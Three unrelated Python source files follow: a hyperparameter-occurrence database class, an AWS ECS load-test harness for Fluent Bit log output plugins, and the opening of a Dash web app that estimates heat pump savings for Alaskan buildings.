<reponame>DIYer22/hpman import collections import enum import functools import ast from typing import Callable, Dict, List, Optional, Union, DefaultDict, Any from attrdict import AttrDict # type: ignore from .primitives import DoubleAssignmentException, EmptyValue from .source_helper import SourceHelper class HyperParameterPriority(enum.IntEnum): PRIORITY_PARSED_FROM_SOURCE_CODE = 1 # multiple occurrence PRIORITY_SET_FROM_CALLABLE = 2 # single occurrence PRIORITY_SET_FROM_SETTER = 3 # single occurrence P = HyperParameterPriority class HyperParameterOccurrence(AttrDict): """A single occurrence of a statically pasred hyperparameter. Subclasses dict. """ name = None # type: str """Name of the hyperparameter""" value = EmptyValue() # type: Any """Value of the hyperparameter. An instance of :class:`.primitives.EmptyValue` should present if value is not set.""" priority = None # type: HyperParameterPriority """Priority of this hyperparameter occurrence. The value of the highest priority of all the occurrences of the same hyperparameter will be denoted as "the value of this hyperparameter". See :class:`HyperParameterPriority` for details about the meaning of each priority. """ filename = None # type: str """Filename in which this hyperparameter occurs. Will only present in parsed hyperparameters""" lineno = None # type: int """In which line of the file this hyperparameter occurs. Will only present in parsed hyperparameters """ ast_node = None # type: ast.AST """The parsed `ast.AST` object of this occurrence. Will only present in parsed hyperparameters""" hints = None # type: Dict[str, Any] """Hints provided by user of this occurrence of the hyperparameter. Will only present in parsed hyperparameters """ # XXX: In python 3.6, we would use `attr_dict_bind` library to implement # attribute dict binding mechanism with user defined attributes # straighforwardly. # However, to accommodate python 3.5, we implement the same function # using `attrdict` along with the following ugly hacks. __defaults = { "name": None, # This empty value instance is vital; we rely on this exact sentinel # object group all empty values. "value": EmptyValue(), "priority": None, "filename": None, "lineno": None, "ast_node": None, "hints": None, } def __init__(self, *args, **kwargs): # Make a **shallow** copy of default values (as we need the EmptyValue # sentinel to be the same across instances of HyperParameterOccurrence) d = self.__defaults.copy() # get user passed dict initialization v = dict(*args, **kwargs) # ... and overrides defaults d.update(v) for name in self.__defaults: if hasattr(self, name): # XXX: remove user defined attributes as AttrDict does not works # with them delattr(type(self), name) super().__init__(*args, **d) @property def has_default_value(self): return not isinstance(self.value, EmptyValue) class HyperParameterDB(list): """A list of HyperParameterOccurrence. It is required that only one of the underlying occurrences should have a default value. Subclasses list. It provides SQL/pandas-like syntax to access the data. :note: This *DB* is quite functional and does not provide the concept of *view*. Most operations provided return a new instance. We provide back-reference ability by assign an auto increment index to every entry. """ index_count = None # type: int """Auto increment counter""" def __init__(self, *args, **kwargs): self.index_count = 0 super().__init__(*args, **kwargs) # -- database operations def copy(self): return HyperParameterDB(super().copy()) def group_by(self, column: str) -> Dict[str, "HyperParameterDB"]: """Group data by given attribute/column. :param column: The attribute to be grouped by. """ groups = collections.defaultdict( HyperParameterDB ) # type: DefaultDict[str, HyperParameterDB] for i in self: groups[getattr(i, column)].append(i) return groups def indexing(self, idx: Union[int, List[int]]): """Indexing using a integer or a list of integers. :param idx: index of HyperParameterOccurrence to be fetched """ if isinstance(idx, int): return self[idx] if isinstance(idx, list): return HyperParameterDB([self[i] for i in idx]) raise IndexError("Unknown index: {}".format(idx)) def select( self, where: Callable[[HyperParameterOccurrence], bool] ) -> "HyperParameterDB": """Select rows from database. :param where: a function takes a row and returns whether this row should be retained. """ return HyperParameterDB([i for i in self if where(i)]) def count(self, where: Callable[[HyperParameterOccurrence], bool]) -> int: """Count number of rows match given condition. Equivalent to len(self.select(where)) """ return sum(1 for i in self if where(i)) def extract_column(self, column: str) -> List[object]: """Extract one column of values. :param column: column name to be extracted :return: list of values. """ return [i[column] for i in self] def choose_columns(self, *columns: List[str]) -> "HyperParameterDB": """Extract columns to form a new database. :param columns: list of column names to be extracted. """ return HyperParameterDB([{c: i[c] for c in columns} for i in self]) def apply( self, func: Callable[[HyperParameterOccurrence], HyperParameterOccurrence] ) -> "HyperParameterDB": """Apply func on each row, which modifies old db. :param func: a function that takes a row, modifies it inplace. :return: self """ for i in self: func(i) return self def reduce( self, reduce_func: Callable[[object, HyperParameterOccurrence], object], initial=EmptyValue(), ) -> object: """Reduce the sequence to a single value. Raises ValueError if there's no items to be reduced. :param reduce_func: function takes two arguments, the first one is the previous result, and second is a new coming value in the sequence. :param initial: if given, will be sent to reduce_func as its first argument in the beginning; otherwise, the first element in the sequence is sent. """ # TODO: more memory efficient implementation if not isinstance(initial, EmptyValue): value = initial i = 0 else: if len(self) == 0: raise ValueError("No object to be aggregated.") value = self[0] i = 1 for j in range(i, len(self)): value = reduce_func(value, self[j]) return value def empty(self) -> bool: """Whether the db is empty""" return len(self) == 0 def sorted( self, key: Callable[[HyperParameterOccurrence], int], reverse: bool = False ) -> "HyperParameterDB": """Sort the rows of the db. See builtin function `sorted`""" return HyperParameterDB(sorted(self, key=key, reverse=reverse)) def any(self, func: Callable[[HyperParameterOccurrence], bool]) -> bool: """If **one** of the results after applying the given function to each row is True, then returns true. The evaluation is short-circuited. :param func: The funcion maps a row to a boolean value, which will be applied to each row of the database. """ return any(map(func, self)) def all(self, func: Callable[[HyperParameterOccurrence], bool]) -> bool: """If **all** of the results after applying the given function to each row is True, then returns true. The evaluation is short-circuited. :param func: The funcion maps a row to a boolean value, which will be applied to each row of the database. """ return all(map(func, self)) def find_first( self, where: Callable[[HyperParameterOccurrence], bool] ) -> Optional[HyperParameterOccurrence]: """Find the first row which matches given condition. :param where: The function takes a row and returns a boolean value, indicating whether a row should be retained. :return: A row is returned if at least one match is found; otherwise None will be returned. """ for i in self: if where(i): return i return None @classmethod def format_occurrence(cls, occurrence: HyperParameterOccurrence, **kwargs) -> str: """Format a single occurrence. :param occurrence: the occurrence to be formated """ assert occurrence is not None return occurrence["source_helper"].format_given_filename_and_lineno( occurrence["filename"], occurrence["lineno"] ) def _do_push_occurrence(self, occurrence): occurrence["index"] = self.index_count self.index_count += 1 self.append(occurrence) def _do_set_occurrence(self, idx, occurrence): s = self[idx] occurrence["index"] = s["index"] self[idx] = occurrence def _check_source_code_double_assigment(self, occurrence): s = self.select( lambda row: ( row.name == occurrence.name and row.priority == P.PRIORITY_PARSED_FROM_SOURCE_CODE ) ) if s.any(L.has_default_value): error_msg = ( "Duplicated default values:\n" "First occurrence:\n" "{}\n" "Second occurrence:\n" "{}\n" ).format( s.format_occurrence(s.find_first(L.has_default_value)), s.format_occurrence(occurrence), ) raise DoubleAssignmentException(error_msg) def push_occurrence( self, occurrence: HyperParameterOccurrence, *, source_helper: Optional[SourceHelper] = None ) -> None: """Add an hyperparameter occurrence. This method can only be used in static parsing phase. """ assert isinstance(occurrence, HyperParameterOccurrence), ( type(occurrence), occurrence, ) set_from_src = occurrence.priority == P.PRIORITY_PARSED_FROM_SOURCE_CODE if set_from_src: # multiple occurrence is permitted if occurrence.has_default_value: if source_helper is not None: occurrence["source_helper"] = source_helper self._check_source_code_double_assigment(occurrence) self._do_push_occurrence(occurrence) else: # only one occurrence is permitted s = self.select( lambda row: ( row.name == occurrence.name and row.priority == occurrence.priority ) ) if s.empty(): self._do_push_occurrence(occurrence) else: assert len(s) == 1, len(s) self._do_set_occurrence(s[0]["index"], occurrence) class HyperParameterDBLambdas: # -- sort lambdas # sort first by priority, then by value non-emptiness @staticmethod def value_priority(row: HyperParameterOccurrence): return -(row.priority * 10 - isinstance(row.value, EmptyValue)) @staticmethod def order_by(column: str): return lambda row: getattr(row, column) # -- select lambdas @staticmethod def has_default_value(row): return not isinstance(row.value, EmptyValue) @staticmethod def exist_attr(attr): return lambda row: hasattr(row, attr)
<filename>load_tests/load_test.py import os import sys import json import time import boto3 import math import subprocess import validation_bar from datetime import datetime, timezone import create_testing_resources.kinesis_s3_firehose.resource_resolver as resource_resolver IS_TASK_DEFINITION_PRINTED = True PLATFORM = os.environ['PLATFORM'].lower() OUTPUT_PLUGIN = os.environ['OUTPUT_PLUGIN'].lower() TESTING_RESOURCES_STACK_NAME = os.environ['TESTING_RESOURCES_STACK_NAME'] PREFIX = os.environ['PREFIX'] LOGGER_RUN_TIME_IN_SECOND = 600 BUFFER_TIME_IN_SECOND = 180 if OUTPUT_PLUGIN == 'cloudwatch': THROUGHPUT_LIST = json.loads(os.environ['CW_THROUGHPUT_LIST']) else: THROUGHPUT_LIST = json.loads(os.environ['THROUGHPUT_LIST']) # Input Logger Data INPUT_LOGGERS = [ { "name": "stdstream", "logger_image": "075490442118.dkr.ecr.us-west-2.amazonaws.com/load-test-fluent-bit-app-image:latest", "fluent_config_file_path": "./load_tests/logger/stdout_logger/fluent.conf" }, { "name": "tcp", "logger_image": "826489191740.dkr.ecr.us-west-2.amazonaws.com/amazon/tcp-logger:latest", "fluent_config_file_path": "./load_tests/logger/tcp_logger/fluent.conf" }, ] PLUGIN_NAME_MAPS = { "kinesis": "kinesis_streams", "firehose": "kinesis_firehose", "s3": "s3", "cloudwatch": "cloudwatch_logs", } # Return the approximate log delay for each ecs load test # Estimate log delay = task_stop_time - task_start_time - logger_image_run_time def get_log_delay(response): stop_time = response['tasks'][0]['stoppedAt'] stop_epoch_time = (stop_time - datetime(1970,1,1, tzinfo=timezone.utc)).total_seconds() start_time = response['tasks'][0]['startedAt'] start_epoch_time = (start_time - datetime(1970,1,1, tzinfo=timezone.utc)).total_seconds() log_delay_epoch_time = stop_epoch_time - start_epoch_time - LOGGER_RUN_TIME_IN_SECOND return datetime.fromtimestamp(log_delay_epoch_time).strftime('%Mm%Ss') # Set buffer for waiting all logs sent to destinations (~3min) def set_buffer(response): stop_time = response['tasks'][0]['stoppedAt'] stop_epoch_time = (stop_time - datetime(1970,1,1, tzinfo=timezone.utc)).total_seconds() curr_epoch_time = time.time() if curr_epoch_time-stop_epoch_time < BUFFER_TIME_IN_SECOND: time.sleep(int(BUFFER_TIME_IN_SECOND-curr_epoch_time+stop_epoch_time)) # Check app container exit status for each ecs load test # to make sure it generate correct number of logs def check_app_exit_code(response): containers = response['tasks'][0]['containers'] if len(containers) < 2: sys.exit('[TEST_FAILURE] Error occured to get task container list') for container in containers: if container['name'] == 'app' and container['exitCode'] != 0: sys.exit('[TEST_FAILURE] Logger failed to generate all logs with exit code: ' + str(container['exitCode'])) # Return the total number of input records for each load test def calculate_total_input_number(throughput): iteration_per_second = int(throughput[0:-1])*1000 return str(iteration_per_second * LOGGER_RUN_TIME_IN_SECOND) # 1. Configure task definition for each load test based on existing templates # 2. Register generated task definition def generate_task_definition(session, throughput, input_logger, s3_fluent_config_arn): if not hasattr(generate_task_definition, "counter"): generate_task_definition.counter = 0 # it doesn't exist yet, so initialize it generate_task_definition.counter += 1 # Generate configuration information for STD and TCP tests std_config = resource_resolver.get_input_configuration(PLATFORM, resource_resolver.STD_INPUT_PREFIX, throughput) custom_config = resource_resolver.get_input_configuration(PLATFORM, resource_resolver.CUSTOM_INPUT_PREFIX, throughput) task_definition_dict = { # App Container Environment Variables '$APP_IMAGE': input_logger['logger_image'], '$LOGGER_RUN_TIME_IN_SECOND': str(LOGGER_RUN_TIME_IN_SECOND), # Firelens Container Environment Variables '$FLUENT_BIT_IMAGE': os.environ['FLUENT_BIT_IMAGE'], '$INPUT_NAME': input_logger['name'], '$LOGGER_PORT': "4560", '$FLUENT_CONFIG_S3_FILE_ARN': s3_fluent_config_arn, '$OUTPUT_PLUGIN': OUTPUT_PLUGIN, # General Environment Variables '$THROUGHPUT': throughput, # Task Environment Variables '$TASK_ROLE_ARN': os.environ['LOAD_TEST_TASK_ROLE_ARN'], '$TASK_EXECUTION_ROLE_ARN': os.environ['LOAD_TEST_TASK_EXECUTION_ROLE_ARN'], '$CUSTOM_S3_OBJECT_NAME': resource_resolver.resolve_s3_object_name(custom_config), # Plugin Specific Environment Variables 'cloudwatch': { '$CW_LOG_GROUP_NAME': os.environ['CW_LOG_GROUP_NAME'], '$STD_LOG_STREAM_NAME': resource_resolver.resolve_cloudwatch_logs_stream_name(std_config), '$CUSTOM_LOG_STREAM_NAME': resource_resolver.resolve_cloudwatch_logs_stream_name(custom_config) }, 'firehose': { '$STD_DELIVERY_STREAM_PREFIX': resource_resolver.resolve_firehose_delivery_stream_name(std_config), '$CUSTOM_DELIVERY_STREAM_PREFIX': resource_resolver.resolve_firehose_delivery_stream_name(custom_config), }, 'kinesis': { '$STD_STREAM_PREFIX': resource_resolver.resolve_kinesis_delivery_stream_name(std_config), '$CUSTOM_STREAM_PREFIX': resource_resolver.resolve_kinesis_delivery_stream_name(custom_config), }, 's3': { '$S3_BUCKET_NAME': os.environ['S3_BUCKET_NAME'], '$STD_S3_OBJECT_NAME': resource_resolver.resolve_s3_object_name(std_config), }, } fin = open(f'./load_tests/task_definitions/{OUTPUT_PLUGIN}.json', 'r') data = fin.read() for key in task_definition_dict: if(key[0] == '$'): data = data.replace(key, task_definition_dict[key]) elif(key == OUTPUT_PLUGIN): for sub_key in task_definition_dict[key]: data = data.replace(sub_key, task_definition_dict[key][sub_key]) # Register task definition task_def = json.loads(data) if IS_TASK_DEFINITION_PRINTED: print("Registering task definition:") print(json.dumps(task_def, indent=4)) session.client('ecs').register_task_definition( **task_def ) else: print("Registering task definition") # With multiple codebuild projects running parallel, # Testing resources only needs to be created once def create_testing_resources(): session = get_sts_boto_session() if OUTPUT_PLUGIN != 'cloudwatch': client = session.client('cloudformation') waiter = client.get_waiter('stack_exists') waiter.wait( StackName=TESTING_RESOURCES_STACK_NAME, WaiterConfig={ 'MaxAttempts': 60 } ) waiter = client.get_waiter('stack_create_complete') waiter.wait( StackName=TESTING_RESOURCES_STACK_NAME ) else: # Once deployment starts, it will wait until the stack creation is completed os.chdir(f'./load_tests/{sys.argv[1]}') os.system('cdk deploy --require-approval never') # For tests on ECS, we need to: # 1. generate and register task definitions based on templates at /load_tests/task_definitons # 2. run tasks with different throughput levels for 10 mins # 3. wait until tasks completed, set buffer for logs sent to corresponding destinations # 4. validate logs and print the result def run_ecs_tests(): ecs_cluster_name = os.environ['ECS_CLUSTER_NAME'] names = locals() # Run ecs tests once per input logger type test_results = [] for input_logger in INPUT_LOGGERS: session = get_sts_boto_session() client = session.client('ecs') waiter = client.get_waiter('tasks_stopped') processes = [] # Delete corresponding testing data for a fresh start delete_testing_data(session) # S3 Fluent Bit extra config data s3_fluent_config_arn = publish_fluent_config_s3(session, input_logger) # Run ecs tasks and store task arns for throughput in THROUGHPUT_LIST: os.environ['THROUGHPUT'] = throughput generate_task_definition(session, throughput, input_logger, s3_fluent_config_arn) response = client.run_task( cluster=ecs_cluster_name, launchType='EC2', taskDefinition=f'{PREFIX}{OUTPUT_PLUGIN}-{throughput}' ) names[f'{OUTPUT_PLUGIN}_{throughput}_task_arn'] = response['tasks'][0]['taskArn'] # Validation input type banner print(f'\nTest {input_logger["name"]} to {OUTPUT_PLUGIN} in progress...') # Wait until task stops and start validation for throughput in THROUGHPUT_LIST: waiter.wait( cluster=ecs_cluster_name, tasks=[ names[f'{OUTPUT_PLUGIN}_{throughput}_task_arn'], ], WaiterConfig={ 'MaxAttempts': 600 } ) response = client.describe_tasks( cluster=ecs_cluster_name, tasks=[ names[f'{OUTPUT_PLUGIN}_{throughput}_task_arn'], ] ) check_app_exit_code(response) input_record = calculate_total_input_number(throughput) log_delay = get_log_delay(response) set_buffer(response) # Validate logs os.environ['LOG_SOURCE_NAME'] = input_logger["name"] os.environ['LOG_SOURCE_IMAGE'] = input_logger["logger_image"] validated_input_prefix = get_validated_input_prefix(input_logger) input_configuration = resource_resolver.get_input_configuration(PLATFORM, validated_input_prefix, throughput) test_configuration = { "input_configuration": input_configuration, } if OUTPUT_PLUGIN == 'cloudwatch': os.environ['LOG_PREFIX'] = resource_resolver.get_destination_cloudwatch_prefix(test_configuration["input_configuration"]) os.environ['DESTINATION'] = 'cloudwatch' else: os.environ['LOG_PREFIX'] = resource_resolver.get_destination_s3_prefix(test_configuration["input_configuration"], OUTPUT_PLUGIN) os.environ['DESTINATION'] = 's3' # Go script environment with sts cred variables credentials = session.get_credentials() auth_env = { **os.environ.copy(), "AWS_ACCESS_KEY_ID": credentials.access_key, "AWS_SECRET_ACCESS_KEY": credentials.secret_key, "AWS_SESSION_TOKEN": credentials.token } processes.append({ "input_logger": input_logger, "test_configuration": test_configuration, "process": subprocess.Popen(['go', 'run', './load_tests/validation/validate.go', input_record, log_delay], stdout=subprocess.PIPE, env=auth_env ) }) # Wait until all subprocesses for validation completed for p in processes: p["process"].wait() p["result"], err = p["process"].communicate() print(f'Test {input_logger["name"]} to {OUTPUT_PLUGIN} complete.') parsedValidationOutputs = list(map(lambda p: { **p, "parsed_validation_output": parse_validation_output(p["result"]) }, processes)) test_results.extend(parsedValidationOutputs) # Print output print("\n\nValidation results:\n") print(format_test_results_to_markdown(test_results)) # Bar check if not validation_bar.bar_raiser(test_results): print("Failed validation bar.") sys.exit("Failed to pass the test_results validation bar") else: print("Passed validation bar.") def parse_validation_output(validationResultString): return { x[0]: x[1] for x in list( filter(lambda f: len(f) == 2, map(lambda x: x.split(", "), validationResultString.decode("utf-8").split("\n")) ))} def get_validation_output(logger_name, throughput, test_results): return list(filter(lambda r: r["input_logger"]["name"] == logger_name and int(r["test_configuration"]["input_configuration"]["throughput"].replace("m", "")) == throughput, test_results))[0]["parsed_validation_output"] def format_test_results_to_markdown(test_results): # Configurable success character no_problem_cell_character = u"\U00002705" # This is a green check mark # Get table dimensions logger_names = list(set(map(lambda p: p["input_logger"]["name"], test_results))) logger_names.sort() plugin_name = PLUGIN_NAME_MAPS[OUTPUT_PLUGIN] throughputs = list(set(map(lambda p: int(p["test_configuration"]["input_configuration"]["throughput"].replace("m", "")), test_results))) throughputs.sort() # | plugin | source | | 10 MB/s | 20 MB/s | 30 MB/s |\n" # |--------------------------|----------------------|----------------------------|---------------|---------------|---------------|\n" col1_len = len(" plugin ") col2_len = len(" source ") col3_len = len(" ") colX_len = len(" 10 MB/s ") output = f'|{" plugin".ljust(col1_len)}|{" source".ljust(col2_len)}|{"".ljust(col3_len)}|' for throughput in throughputs: output += (" " + str(throughput) + " MB/s").ljust(colX_len) + "|" output += f"\n|{'-'*col1_len}|{'-'*col2_len}|{'-'*col3_len}|" for throughput in throughputs: output += f"{'-'*colX_len}|" output += "\n" # | kinesis_firehose | stdout | Log Loss | | | |\n" for logger_name in logger_names: output += "|" output += (" " + plugin_name).ljust(col1_len) + "|" output += (" " + logger_name).ljust(col2_len) + "|" output += (" Log Loss").ljust(col3_len) + "|" for throughput in throughputs: validation_output = get_validation_output(logger_name, throughput, test_results) if (int(validation_output["missing"]) != 0): output += (str(validation_output["percent_loss"]) + "%(" + str(validation_output["missing"]) + ")").ljust(colX_len) else: output += (" " + no_problem_cell_character).ljust(colX_len) output += "|" output += "\n" output += "|" output += (" ").ljust(col1_len) + "|" output += (" ").ljust(col2_len) + "|" output += (" Log Duplication").ljust(col3_len) + "|" for throughput in throughputs: validation_output = get_validation_output(logger_name, throughput, test_results) duplication_percent = (0 if int(validation_output["duplicate"]) == 0 else math.floor(int(validation_output["duplicate"]) / int(validation_output["total_destination"]) * 100)) if (int(validation_output["duplicate"]) != 0): output += (str(duplication_percent) + "%(" + str(validation_output["duplicate"]) + ")").ljust(colX_len) else: output += (" " + no_problem_cell_character).ljust(colX_len) output += "|" output += "\n" return output # Returns s3 arn def publish_fluent_config_s3(session, input_logger): bucket_name = os.environ['S3_BUCKET_NAME'] s3 = session.client('s3') s3.upload_file( input_logger["fluent_config_file_path"], bucket_name, f'{OUTPUT_PLUGIN}-test/{PLATFORM}/fluent-{input_logger["name"]}.conf', ) return f'arn:aws:s3:::{bucket_name}/{OUTPUT_PLUGIN}-test/{PLATFORM}/fluent-{input_logger["name"]}.conf' # The following method is used to clear data between # testing batches def delete_testing_data(session): # All testing data related to the plugin option will be deleted if OUTPUT_PLUGIN == 'cloudwatch': # Delete associated cloudwatch log streams client = session.client('logs') response = client.describe_log_streams( logGroupName=os.environ['CW_LOG_GROUP_NAME'] ) for stream in response["logStreams"]: client.delete_log_stream( logGroupName=os.environ['CW_LOG_GROUP_NAME'], logStreamName=stream["logStreamName"] ) else: # Delete associated s3 bucket objects s3 = session.resource('s3') bucket = s3.Bucket(os.environ['S3_BUCKET_NAME']) s3_objects = bucket.objects.filter(Prefix=f'{OUTPUT_PLUGIN}-test/{PLATFORM}/') s3_objects.delete() def delete_testing_resources(): # Create sts session session = get_sts_boto_session() # All related testing resources will be destroyed once the stack is deleted client = session.client('cloudformation') client.delete_stack( StackName=TESTING_RESOURCES_STACK_NAME ) # Empty s3 bucket s3 = session.resource('s3') bucket = s3.Bucket(os.environ['S3_BUCKET_NAME']) bucket.objects.all().delete() def get_validated_input_prefix(input_logger): # Prefix used to form destination identifier # [log source] ----- (stdout) -> std-{{throughput}}/... # \___ (tcp ) -> {{throughput}}/... # # All inputs should have throughput as destination identifier # except stdstream if (input_logger['name'] == 'stdstream'): return resource_resolver.STD_INPUT_PREFIX return resource_resolver.CUSTOM_INPUT_PREFIX def get_sts_boto_session(): # STS credentials sts_client = boto3.client('sts') # Call the assume_role method of the STSConnection object and pass the role # ARN and a role session name. assumed_role_object
<gh_stars>1-10 """ Heat Pump Calculator Dash Application. Requires version 0.23 or later of Dash. """ from textwrap import dedent from pprint import pformat import time import pandas as pd import dash import dash_core_components as dcc import dash_html_components as html from dash.dependencies import Input, Output, State from dash.exceptions import PreventUpdate from .components import LabeledInput, LabeledSlider, LabeledSection, \ LabeledDropdown, LabeledRadioItems, LabeledChecklist import numpy as np from . import library as lib from . import ui_helper from . import create_results_display from .utils import chg_nonnum, is_null, to_float app = dash.Dash(__name__) server = app.server # this is the underlying Flask app # This is needed to assign callbacks prior to layout being loaded, which # is done in the LabeledSlider() component. app.config.supress_callback_exceptions = True # Overriding the index template allows you to change the title of the # application and load external resources. app.index_string = ''' <!DOCTYPE html> <html> <head> {%metas%} <title>Heat Pump Calculator</title> {%favicon%} {%css%} <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.2.0/css/all.css" integrity="<KEY>" crossorigin="anonymous"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto"> </head> <body> {%app_entry%} <footer> {%config%} {%scripts%} </footer> </body> </html> ''' # -------------------------------------- DEFINITIONS -------------------------------------- def make_options(option_list): """Converts a list of two-tuples: (label, value) into a list of dictionaries suitable for use in Dropdown and RadioItems components. """ return [{'label': lbl, 'value': val} for lbl, val in option_list] YES_NO = ( ('Yes', True), ('No', False) ) ELEC_INPUT_METHOD = ( ('Select Utility Rate Schedule', 'util'), ('Manual Entry', 'ez'), ('Manual Entry (Advanced)', 'adv'), ) BLDG_TYPE = ( ('Residential', 'res'), ('Commercial Building', 'comm'), ('Community Building', 'commun'), ) GARAGE_SIZE = ( ('No Garage', 0), ('1-Car', 1), ('2-Car', 2), ('3-Car', 3), ('4-Car', 4) ) WALL_TYPE = ( ('2x4', '2x4'), ('2x6', '2x6'), ('Better than 2x6', 'better'), ) END_USES = ( ('Domestic Water Heater', 'dhw'), ('Clothes Dryer', 'drying'), ('Range or Oven', 'cooking'), ) ELEC_USES_INCLUDED = ( ('Just Space Heating', 'space'), ('Space Heating, Lights, and Appliances', 'all') ) AUX_ELEC_TYPE = ( ('No Fans/Pumps (e.g. wood stove)', 'no-fan'), ('Hydronic (boiler)', 'boiler'), ('Fan-assisted Space Heater (e.g. Toyostove)', 'toyo'), ('Forced Air Furnace, Efficient Fan', 'furnace-effic'), ('Forced Air Furnace, Standard Fan', 'furnace-std') ) HP_ZONES = ( ('Single Zone', 1), ('Multi Zone: 2 zones installed', 2), ('Multi Zone: 3 zones installed', 3), ('Multi Zone: 4 zones installed', 4), ) HP_SELECTION = ( ('Simple (Heat Pump Model is Automatically Selected)', 'simple'), ('Advanced (You select Manufacturer/Model)', 'advanced'), ) OFF_MONTHS = ( ('October', 10), ('November', 11), ('December', 12), ('January', 1), ('February', 2), ('March', 3), ) OPEN_DOORS = ( ('Open Doors', True), ('Closed Doors', False), ) TEMPERATURE_TOLERANCE = ( ('Bedrooms must be kept at nearly the Same Temperature as Main Spaces', 'low'), ('Bedrooms can be as much as 5 degrees Cooler than Main Spaces', 'med'), ('Bedrooms can be as much as 10 degrees Cooler than Main Spaces', 'high'), ) # -------------------------------------- LAYOUT --------------------------------------------- app.layout = html.Div(className='container', children=[ html.H1('Alaska Mini-Split Heat Pump Calculator', style={'text-align': 'center'}), html.Img(id='sponsors', alt='sponsors: Northwest Arctic Borough, Homer Electric, Alaska Energy Authority, AHFC, NANA, NAB, Tagiugmiullu Nunamiullu Housing Authority, AVEC, Alaska Power & Telephone', src=app.get_asset_url('sponsors.png') ), dcc.Markdown(dedent(''' This calculator allows you to evaluate the possible energy and cost savings from use of a [mini-split (ductless) heat pump](https://learn.compactappliance.com/mini-split-heat-pumps/) in an Alaskan home or small building. Fill out the inputs listed below and then click the "Calculate" button at the bottom of the page to see the results on the analysis. ''')), html.P([ 'Where you see the question mark symbol ', html.I(className="fas fa-question-circle"), 'additional help for the input is available. Hover your mouse over the symbol to see the pop-up help.' ]), dcc.Markdown(dedent(''' If you would like to reset all inputs to their default values and start over, click the Refresh button in your web browser. The calculator was primarily built to evaluate retrofitting a mini-split heat pump into an existing home with an existing heating system. However, it can be used to compare use of a heat pump in a new home to use of a different heating fuel. To do a fair economic comparison in that situation, for the "Installed Cost of the Heat Pump" input, enter in the *extra* cost of the heat pump relative to the alternative heating system; this could be a negative number if the heat pump system is less expensive. This same approach should be used if you are in need of *replacing* your existing heating system; enter the additional cost of the heat pump install relative to replacing the existing system. ''')), LabeledSection('General', [ LabeledInput('Building Name (optional)', 'bldg_name', size=50), html.P('Enter in any Notes you want shown when you print this page (optional).'), dcc.Textarea(id='notes', style={'width': '100%'}), ]), LabeledSection('Location Info', [ LabeledDropdown('City where Building is Located:', 'city_id', options=[{'label': lbl, 'value': i} for lbl, i in lib.cities()]), LabeledRadioItems('Input method:', 'elec_input', 'Choose "Select Utility Rate Schedule" if you would like to select a utility based on your location. Select "Manual Entry" if you would like to manually enter utility and PCE rates. Finally, select "Manual Entry (Advanced)" if you would like to enter block rates. * A copy of your utility bill will be necessary for both manual entry options.', options=make_options(ELEC_INPUT_METHOD), value='util'), html.Div([ LabeledDropdown('Select your Utility and Rate Schedule','utility_id', options=[], placeholder='Select Utility Company'), dcc.Markdown('', id='util-rate-elements'), ], id='div-schedule', style={'display': 'none'}), html.Div([html.Table( [ html.Tr( [html.Td(html.Label('Electric Rate:')), html.Td(['$ ', dcc.Input(id='elec_rate_ez', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td(html.Label('PCE Rate (only if eligible building):')), html.Td(['$ ', dcc.Input(id='pce_ez', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td(html.Label('Customer Charge:')), html.Td(['$ ', dcc.Input(id='customer_chg_ez', type='text', style={'maxWidth': 100}), ' /month'])] ), ] )],id='div-man-ez', style={'display': 'none'}), html.Div([ html.Label('Enter block rates:'), html.Table([ html.Tr( [html.Th("Start kWh"), html.Th("End kWh"), html.Th("Rate, $/kWh")] ), html.Tr( [html.Td(html.P("1 -")), html.Td([dcc.Input(id='blk1_kwh', type='text', style={'maxWidth': 100}), ' kWh']), html.Td(['$ ', dcc.Input(id='blk1_rate', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td(html.P('',id='blk2_min')), html.Td([dcc.Input(id='blk2_kwh', type='text', style={'maxWidth': 100}), ' kWh']), html.Td(['$ ', dcc.Input(id='blk2_rate', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td(html.P('',id='blk3_min')), html.Td([dcc.Input(id='blk3_kwh', type='text', style={'maxWidth': 100}), ' kWh']), html.Td(['$ ', dcc.Input(id='blk3_rate', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td(html.P('',id='blk4_min')), html.Td([dcc.Input(id='blk4_kwh', type='text', style={'maxWidth': 100}), ' kWh']), html.Td(['$ ', dcc.Input(id='blk4_rate', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td('Demand Charge:', colSpan='2'), html.Td(['$ ', dcc.Input(id='demand_chg_adv', type='text', style={'maxWidth': 100}), ' /kW/mo'])] ), html.Tr( [html.Td('PCE in $/kWh (only if eligible building)', colSpan='2'), html.Td(['$ ', dcc.Input(id='pce_adv', type='text', style={'maxWidth': 100}), ' /kWh'])] ), html.Tr( [html.Td('Customer Charge in $/month', colSpan='2'), html.Td(['$ ', dcc.Input(id='customer_chg_adv', type='text', style={'maxWidth': 100}), ' /mo'])] ), ]) ], id='div-man-adv', style={'display': 'none'}), html.Details(style={'maxWidth': 550}, children=[ html.Summary('Click Here to change Advanced Utility Inputs'), html.Div(style={'marginTop': '3rem'}, children=[ html.Div([ html.Hr(), dcc.Checklist( options=[{'label': 'Run Analysis ignoring PCE Electric Rate Assistance', 'value': 'no_pce'}], values=[], id='no_pce_chks'), ], id='div-ignore-pce', style={'display': 'none'}), html.P('.'), LabeledSlider(app, 'Pounds of CO2 released per kWh of additional electricity generation:', 'co2_lbs_per_kwh', 0, 3.3, 'pounds/kWh', help_text='This is used to determine how much CO2 is released due to the electricity consumed by the heat pump. Pick the type of generation that will be used to produce more electricity in your community. A reasonable default value is provided based on your utility; only change if you have better information.', max_width = 800, marks = {0: 'Renewables/Wood', 1.1: 'Natural Gas', 1.7: 'Lg Diesel', 2: 'Sm Diesel', 2.9: 'Coal' }, step=0.1, value= 1.7, ), ]), ]), ]), LabeledSection('Building Info', [ LabeledRadioItems('Type of Building:', 'bldg_type', options=make_options(BLDG_TYPE), value='res'), LabeledRadioItems('Does the Community typically use all of its Community Building PCE allotment?', 'commun_all_pce', 'Select Yes if, in most months, all of the Community Building PCE is used up by the community. If so, there will be no extra PCE available for the heat pump kilowatt-hours.', options=make_options(YES_NO), value=True, labelStyle={'display': 'inline-block'}), 